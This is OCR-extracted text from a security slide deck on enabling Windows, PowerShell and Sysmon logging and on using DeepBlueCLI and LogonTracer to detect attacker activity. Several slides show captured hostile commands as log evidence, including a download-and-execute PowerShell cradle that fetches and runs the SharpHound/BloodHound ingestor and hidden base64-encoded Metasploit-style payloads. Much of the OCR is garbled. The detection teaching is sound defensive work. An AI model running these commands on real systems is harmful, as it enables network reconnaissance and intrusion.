Attack Tactics 7!
The Logs You Are Looking For
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Problem Statement

Enterprise Matrix

The full ATT&CK Matrix™ below includes techniques spanning Windows, Mac, and Linux platforms and can be used to navigate through the knowledge hase.

Last Modified: 2019-04-25 20:53:07.719000
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JPcert to the rescue... Sort of..

c

& https:/jpcertccgithub.io/ToolAnalysisResultSheet/

Tool Analysis Result Sheet

About this site About this Site

This site summarizes the results of examining logs recorded in Windows upon execution of the 49 tools which are likely to be used by the attacker that has infiltrated
a network. The following logs were examined. Note that it was confirmed that traces of tool execution is most likely to be left in event logs. Accordingly, examination

fiese of event logs is the main focus here.
wmic o Event Log
etasin o Execution history "
o Prefetch s
wmiexec.vbs o USN Journal
_ o MFT
gl o UserAssist
WinRM o Packet Capture
WinRS A report that outlines and usage of this research is published below. When using Tool Analysis Result Sheet, we recommend you to check the report.
BITS Detecting Lateral Movement through Tracking Event Logs (Version 2)

About Sheet Items

The analysis results for each tool are described in a table format. The content described for each item is explained as follows.
PWDump7
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Executive Problem Statement

Basic Questions:

Are our tools working?

What can we detect?

How can we test this?

What are our gaps?

What existing tools can fill them?
What do we have to buy?

Can we buy ourselves out of this
problem?

A
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A helpful diagram

Forensics

Attack Tactics V

Zero to Hero Attack

Live Fire Demo and Methodology
@rev10d, @krelkci, @strandjs
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Adventures in (ust enabling proper) VWVindows Event Logging

Important Event IDs

4624 and 4634 (Logon / Logoff)

4662 (ACL'd object access - Audit req.)
4688 (process launch and usage)
4698 and 4702 (tasks + XML)

4740 and 4625 (Acct Lockout + Src IP)
9152, 5154, 5156, 5157 (FW - Noisy)
4648, 4672, 4673 (Special Privileges)
4769, 4771 (Kerberoasting)

5140 with \"\IPC$ and so many more....

>
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Wouldn't it just be easier if SysMon?

Yes. We'll get to that later.

Here come the sysAdmin comments.

“You guys seriously don’t know how to do this?”



Command Line Logging is Easy

You must have Audit Process Creation auditing enabled
You must enable the policy setting: Include command line in process creation events

“When you use Advanced Audit Policy Configuration settings, you need to confirm that
these settings are not overwritten by basic audit policy settings.” (cit. *MSFT, see links)

BLACK HILLS
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Command Line Logging is Easy

Max log file size is small by default.

Command line logging is off by default.

“To see the effects of this update, you will need to enable two policy settings”
1. Admin. Templates > System > Audit Process Creation

2. Policies > Windows > Security > Advanced Audit > Detailed Tracking

Yeah, and one last thing: The second setting will likely be overwritten.

When you use Advanced Audit Policy Configuration settings, you need to confirm that these

settings are not overwritten by basic audit policy settings. Event 4719 is logged when the

settings are overwritten.
BLACK HILLS
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Command Line Logging is Easy

To avoid the overwriting of Advanced Audit settings, a third setting is req’d.

Def. Domain Policy > Computers > Security > Local > Security > Audit

4 i Cormpu onfiguration

e Mot Defin
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Command Line Logging is WORKING!!!!

net user /domain

crosoft Windows secunty auditing,

y MULL S0
aunt Mame:
aunt Damain:
LDQDH|D:

Process Information:

BLACK HILLS . +d Line: t fdarmain

information Security




PowerShell Logging is Easy: Some useful commands.

WevtUtil gl "Windows PowerShell" (list configuration)

WevtUtil sl "Windows PowerShell" /ms:512000000

WevtUtil sl "Windows PowerShell" /rt:false

WevtUiil gl "Microsoft-Windows-PowerShell/Operational” (list configuration)
WevtUtil sl "Microsoft-Windows-PowerShell/Operational” /ms:512000000
WevtUtil sl "Microsoft-Windows-PowerShell/Operational” /rt:false

We will talk about Get-WinEvent a bit later

But....the profile.ps1 file below is where it's at.

¥ |ps C:\Windows\System32\WindowsPowershell\vl.e> type .\profile.psl
$LogCommandHealthEvent = $true

|$LogCommandLifecycleEvent = $true

$LogPipelineExecutionDetails = $true

$PSVersionTable.PSVersion




But, now we have PS logs.

¥Windows FowerShell

Lewel Date and Time Source

l:i:)Infl:urmation 702019 5:00:56 PR PoweerShell (Fowershell) 200  Pipeline Execution Details

l:i:)lnfnrmatiun T 2019 5:00:56 Phda PowverShell (Powershell) 501 Cormrmand Lifecycle
Il Infarmation 782019 5:00:56 Ph Poy ell ell)

EwventID Task Category

l:i:)Infl:urmation 7972019 5:00:56 PhA PowverShell (PowerShell) ornmand Litecycle
l:DIhfu:nrr'ﬂa‘cior'u T 2019 5:00:56 Pha PowverShell (PowerShell) 500 Command Lifecycle
l:i:)lrﬂ‘u:urr'ﬂatiu:n F92019 50056 PR PowverShell (PowerShell) 500 Command Lifecycle

Ewent 500, Powershell (PowerShell)

General  Details

Cornrnand "MNew-0bject” is Started,

Details:
MNewCommand State=Started

SequenceMNurmber=28

HostMName=ConsoleHost

HostVersion=3,1.17763,503

Hostld=3d142d60-27ec-4%3-a2fb-23dcd3dazbod

Hosthpplication=CN\Wind owest System 323 indowsPowerShellw 1. 0powershell exe -exec Bypass -C [EX{Mew-Ohject Met Webclient).DownloadString
('https:ffrawgithubusercontent.com/BloodHoundAD BloodHound/raster/ingestors/SharpHound.ps 1" Invoke-BloodHound

Engineversion=5.1.17763.503

Runspaceld=f71de0bd-0d7d-4877-bf48-29203258bc 33

Pipelineld=2

CormmandMame=MNew-Object

CommandType=Cmdlet

ScriptMarne=

T
TTTTTaTI T aeiT—

CommandLine=|EX{Mew-Object Met\Webclient). DownloadString (" hittps:/fraw. githubusercontent.com/BloodHound AD/BloodHound/masterfIngestors/SharpHound.ps1'); Imvoke-BloodHound




Generating Events and Finding Them

Invoke-expression? Yeah - we caught that.

TN 31:35 P PowverShell (hicrosoft-Windows-Pow.., Execute a Remote Command
ell i oft-YWinc -P 06 Stoppi

ntent.com/BloodHaoundAD; { ] ) oodHound"

BLACK HILLS
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Group Policy Configuration for PS Transcription

Admin Templates > Windows Components > Windows PowerShell

A Turn on PowerShell Transcription

[} Turn on Powershell Transcription

| Previous Setting | | Mext: Setting |

Can also configure:
e Module Logging o
e Block Logging T ot [ o v o
e Script Execution |E==

Transcript output directory | CAPS-Transcripts

2 Mot Corfigured Cornrment:

This paolicy setting lets ywou capture the input and output of YWindows PowerShell commands into
Include invocation headers: text-based transcripts.

If wou enable this policy setting, Windows PowerShell will enable transcripting for Windowes
PowerShell, the Yindoaes PowerShell 1SE, and any other

applications that leverage the Windouws PowerShell engine, By default, Windows PowerShell will
record transcript output to each users' by Documents

directory, with a file narme that includes '‘PowerShell_transcript’, along with the cormputer name and
time started, Enabling this policy is equivalent

to calling the Start-Transcript crndlet on each Windows PowerShell session,

If wou disable this policy setting, transcripting of PowerShell-based applications is disabled by

default, although transcripting can still be enabled
/’ through the Start-Transcript cmdlet,

If wou use the OutputDirectory setting to enable transcript logging to a shared location, be sure to

limit access to that directory to prevent users
BLACK HILLS

from wiewing the transcripts of other users or computers,
© Black Hills Information Security

y@BHInfoSecurity Mote: This policy setting exists under both Computer Configuration and User Canfiguration in the

~

| 0K H Cancel || Apply |




What About Exchange Logging?

Yeah, that’s not on by default either.
LogFiles (text) written by default...
Nothing to event log.

Enable:

e Both log file and ETW event
e Maximum file size

BlAI}I( HIllS
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Sysmon - Install

SwiftOnSecurity’s default config is installed below.
It's easy, like 10 seconds easy.

System Monitor wilB.2 - System actiwity monitor
Copyright (C) 2814-28619 Mark Russinowich and Thomas Garnler
Sysinternals - www.sysinternals.com

Loading configuration flle with schema wersion 4.88
Sysmon schema wversion: 4.21

Configuration file walidated.

Sysmon 1nstalled.

Sysmonbry 1nstalled.

Starting SysmonDrw.

Sysmonbry started.

BLACK HILLS Starting Sysmon. .

Sysmon started.

Information Security

CiiUsersiit.adminyDownloads>»Sysmon.exe -accepteula -1 sysmonconfig-export.xml




Sysmon - Usage, and Results

Sysmon produces results, immediately. Event Viewer below.

Event 1, Sysmon

General  Details

germentiger

FManager

BLACK HILLS
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Generating Events and Finding Them

BloodHound - Now we are seeing events on our workstations.

C:\Users\it.admin:powershell.exe -exec Bypass|-C "IEX(New-Object Net.Webclient).DownloadString('https;
ntent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound. psl'); Invoke-BloodHound"

WS -—> 5 1

Initiali:
RESOI':H'ECI : : Y : File created (rule: Fil ate)
S‘tar“tlng ; " Pracess Create {rule: ProcessCreate)
Status: . v ; A ——
Finished
8 hosts

Operational  Mumber of events: 1,213 () New events available

Compress:
You can |
Finished 1 Tim -PTP-Pron

1% &)

BLACK HILLS
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Generating Events and Finding Them

net user /domain? Yeah...sysmon caught this

1% &

BLACK HILLS
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Generating Events and Finding Them

Meterpreter?
Yeah fam, we gotchu.

25-0000-0010110f0a0c}

Source IP? Yup
Dest IP? Yup

1% &

BLACK HILLS
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Generating Events and Finding Them

LSASS Dump? This one turned out to be wayyyy more difficult.

The crackmapexec implementation was based on SMBEXxec
from impacket.

Utilizes a win32 net rpc call over SMB. Hard to detect.




DeepBlueCLI

PS C:\tools\DeepBlueCLI-master\DeepBlueCLI-master> .\DeepBlue.psl C:\tools\DeepBlueCLI-master\DeepBlueCLI-master\Webcast\Security
evix

Date : 4/24/2019 11:53:00 PM

Log : Security

EventID : 4688

Message : Suspicious Command Line Date . 4/21/2619 11:22:35 PM

Results : Long Command I._ine: greater than 1860 bytes Log : security
5@e+ consecutive Bas?GA characters EventID : 4672
335954'9"50‘19? UEELER Message : Multiple admin logons for one account
5@e+ consecutive Base64 characters Results Username: IT.Admin

g g g User SID Access Count: 314
Command : C:\Windows\SysWOWe4\cmd.exe /b /¢ start /b /min powershell -nop -w hidden -encodedcommand JABzADOATgBLAHcALQBPAGIAagBl

AGMAdAAZAEKATWAUAERAZQBTAGBAcgBSAFMAIABYAGUAYQBTACZALABDAEMAbWBUAHYAZQBYAHQAXQABADOAREBYAGEALQBCAGEACWBLADYANABTAHQACE g:::::j

BpAG4AZWACACIASAAGAHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEANABIAFZATWBPAHKAZABMACSASABIADZARZBIADEASWBSAFYASQBSAEMANABFAHYA

MgBHAESAbWBXAEYAUZBBAF YAUgBNAEQAWABUAEYAUQBLAFKAVOBRAF EAZQBSADEAUQBQAENA A VACEAUQBE AGBATHBKAGOAR A YAF AdQAZADYAJAALAF e ) AYEFIES ApIRATS FH

A ACOAR A SAHAA 1A ALY QBT EAQOOTADEAVQSZADTAUGRZAT URC S04 442D AT STANGAYEBIAN IGSTADERUAASTANSS | (0" | securiy

EventID : 4672

Date i 9/19/2@16 2:38:04 PM Message : Multiple admin logons for one account
Log : Security Results : Username: LABV2-DCl$
EventID : 4688 k User SID Access Count: 22451
Message : Suspicious Command Line CemmEmE =
Results : Long Command Line: greater than 1068 bytes Decoded

Metasploit-style baseé4 encoded/compressed PowerShell function (possible use of Metasploit PowerShell exploit payload)

588+ consecutive Base64 characters Date 1 4/21/2819 11:22:35 PM

Baseéd-encoded and compressed function Log : Security

EventID : 4672
Command : "powershell.exe" -nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAKtM4FcCA71WbW/aSBD Message : Multiple admin logons for one account
+3Er9D1aFhK@SDIQNTaRKt8YYCCEBHMxbOW] jr+2FxUvsdXjpob/ FGHBCrseplu9nIHLXM7 P77DPP7NINALLQHK] r7Xy3qDFHS Pr+4f27Lg7xUpIzD3VrX  Results : Username: bertha.schultz
LSc1FKX7 26 swVp59w6sGda@R6@/ g60ufZXKKVqtdL7ENIhdX1FiMCSBOMZZNSIQFIH1PaMKkKhXpL 2nok5Ce3d7Pis 2k7 1L mz3yNEXyMIm7 bCrzoIp2hwEL User SID Access Count: 75
sLW7jBF3eXDEq50y3blllelac5asPMHaRnDH3kSDLVMNYVpF+KMmGd9sVkbNtaoc84q7 ID21uXsoPggi7 pAOrPZI2ET530quwCR4G/ kIg4DKTnQyWrHHzkL Command :
Ay7IbeR44QkgpB8I3jkCyIngpixnPSHPD1C6MeBoEsCdkFCyjII+EhtEuXrOHAY6RN3InfI0]35WAPkeyDw6opQyUFeXsPa5k7MyCESq/ yMaphQBZ6 TpAT Decoded
RPz68/ /DeTcUQ+3HR76L+aRZ29G66HXMAK3d5RPe+X6VCTMrD LiwcAVTZFOYE2UMTZNMTGezKYMNZU718GLac56ud1lmDV10LU2cGIcecUZSK/ t1t8CTbuT

A

BLACK HILLS

Information Security

Date : 4/21/2019 11:22:35 PM
Log : Security
EventID : 4672
Message : Multiple admin logons for one account
Results : Username: Administrator
User SID Access Count: 29

Command
Decoded

© Black Hills Information Security
3 @BHInfoSecurity



DeepBlueCLI

PS C:\tools\DeepBlueCLI-master\DeepBlueCLI-master>

;id=4672} | Where-0Object

For live analysis, we can also use

Get-EventLog on local and
remote systems

4 ?’Vﬂ’i Q&/

BLACK HILLS

information Security
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4/26/2019

Providerh

TimeCreated
4/27/20819
4/27/2019
4/27/2819
4/26/2019
4/26/2019
4/26/2019
4/26/2019
4/26/2819
4/26/2019
4/26/2819
4/26/2019
4/26/2019

4/26/2019
4/26/2019

F P P PP RMNRMNRMNWWWWWWWO

4/26/2019 12:
4/26/2019 12:
4/26/2019 11:
4/26/2019 11:
4/26/2019 18@:

P T

ame:

:53:
:53:
:53:
:58:
132
HEVH
107:
:59:
:56:
10l:
:56:
156
HEVH
121
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20:
04:
57:
46
55:

o5
e5
55
46
28
46

Get-WinEvent
Message

PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
AM
AM
AM

@{Path

bertha.schultz

Microsoft-Windows-Security-Auditing

Id LevelDisplayName Message

4672
4672
4672
4672
4672
4672
4672
4672
4672
4672
4672
4672
4672
4672
4672
4672
4672
4672
4672
4672

Information
Information
Information
Information
Information
Information
Information
Information
Information
Information
Information
Information
Information
Information
Information
Information
Information
Information
Information
Informatlon

- -

Special
Special
Special
Special
Special
Special
Special
Special
Special
Special
Special
Special
Special
Special
Special
Special
Special
Special
Special
Special

privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges
privileges

assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned
assigned

to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to

new
new
new
new
new
new
new
new
new
new
new
new
new
new
new
new
new
new
new
new

logon. ...
logon....
logon. ...
logon....
logon....
logon....
logon....
logon. ...
logon....
logon. ...
logon....
logon....
logon....
logon....
logon. ...
logon....
logon....
logon....
logon....
logon. ...



LogonTracer

@ ,LogonTracer

Username j adminisirator - Event ID: ™ 4624 ¥ 4625 M 4768 M 4769 & 4776 Count: 0 search || searchpath  Export~

All Users IMPORTANT: Delete Event Log has detected! If you have not deleted the event log, the attacker may have deleted it. Rank Hiest

DATE: 2019-04-01 02:28:50 DOMAIN: WLABV2 USERNAME: administrator e
SYSTEM Privileges svc_whitenoise

NTLM Remote Logon anonymous logon

administrator

RDP Logon
sve_{fidyoise it.admin

Network Logon

healthmailbox13c5d
Batch Logon

winlab
Service Logon

maxine.james
MS14-068 Exploit do.not.reply
Failure

customer
Logon Failure

ssmith
Detect
DCSync/DCShadow

Add/Delete Users E k Back Next

Domain Check
Rank Host

Audit Policy Change
2 i labv2-mx
/ LoT ﬁié’-d L 0 -"':‘ \ 10.55. 100V 9 45 10 3t
v

Bl.m:l( H“.l.s Add event value 10.55.100.183

g e el  Count  Type | Auth 10.55.100.186
3 @BHInfoSg
10.55.200.14




Questions?

i A3
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https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing
https://github.com/MotiBa/Sysmon/
https://github.com/SwiftOnSecurity/sysmon-config
https://www.malwarearchaeology.com/cheat-sheets
https://adsecurity.org/?p=3458
http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html
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